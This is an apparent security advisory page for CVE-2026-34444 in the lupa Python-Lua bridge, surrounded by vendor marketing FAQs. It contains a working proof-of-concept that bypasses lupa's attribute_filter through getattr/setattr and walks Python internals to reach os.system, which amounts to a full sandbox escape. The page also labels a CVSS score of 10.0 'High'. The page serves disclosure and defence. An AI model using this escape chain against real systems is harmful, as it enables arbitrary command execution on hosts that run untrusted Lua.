Summary
The attribute_filter in the Lupa library is intended to restrict access to sensitive Python attributes when exposing objects to Lua.
However, the filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.
Details
The attribute_filter is meant to block access to attributes such as __class__, __mro__, and similar internal properties.
In practice, it only applies to direct attribute access:
obj.attr→ filteredgetattr(obj, "attr")→ not filtered
Because of this inconsistency, it’s possible to bypass the filter entirely, if access to the Python builtins is granted to Lua code.
An attacker can use getattr to-
- Access
__class__ - Walk the
__mro__chain - Call
__subclasses__() - Iterate over available classes
- Find a function that exposes
__globals__ - Retrieve something like
os.system
At that point, arbitrary command execution becomes straightforward.
This effectively breaks the security boundary that attribute_filter is expected to enforce.
PoC
The following example shows how the filter can be bypassed to execute os.system:'
import lupa
from lupa import LuaRuntime
def protected_attribute_filter(obj, attr_name, is_setting):
if isinstance(attr_name, str) and attr_name.startswith('_'):
raise AttributeError(f"Access to '{attr_name}' is forbidden")
return attr_name
lua = LuaRuntime(unpack_returned_tuples=True, attribute_filter=protected_attribute_filter)
class UserProfile:
def __init__(self, name): self.name = name
lua.globals().user = UserProfile("test")
lua.execute("""
local py = python.builtins
local getattr = py.getattr
local setattr = py.setattr
local cls = getattr(user, "__class__")
local _, obj_cls = getattr(cls, "__mro__")
local subs = getattr(obj_cls, "__subclasses__")()
for _, c in ipairs(subs) do
if tostring(c):find("os._wrap_close") then
local system = getattr(getattr(c, "__init__"), "__globals__")["system"]
setattr(user, "run", system)
user.run("id")
end
end
""")
Impact
An attacker who can execute Lua code can:
- Bypass the
attribute_filter - Access Python internals
- Traverse the object graph
- Reach execution primitives
This leads to full sandbox escape and arbitrary command execution in the host Python process.
Any application relying on attribute_filter as a security control for untrusted Lua code execution is affected, if it does not also disallow access to the Python builtins via the register_builtins=False option.
CVE-2026-34444 has a CVSS score of 10.0 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-34444? CVE-2026-34444 is a high-severity security vulnerability in lupa (pip), affecting versions <= 2.6. No fixed version is listed yet.
- How severe is CVE-2026-34444? CVE-2026-34444 has a CVSS score of 10.0 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of lupa are affected by CVE-2026-34444? lupa (pip) versions <= 2.6 is affected.
- Is there a fix for CVE-2026-34444? No fixed version is listed for CVE-2026-34444 yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is CVE-2026-34444 exploitable, and should I be worried? Whether CVE-2026-34444 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-34444 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.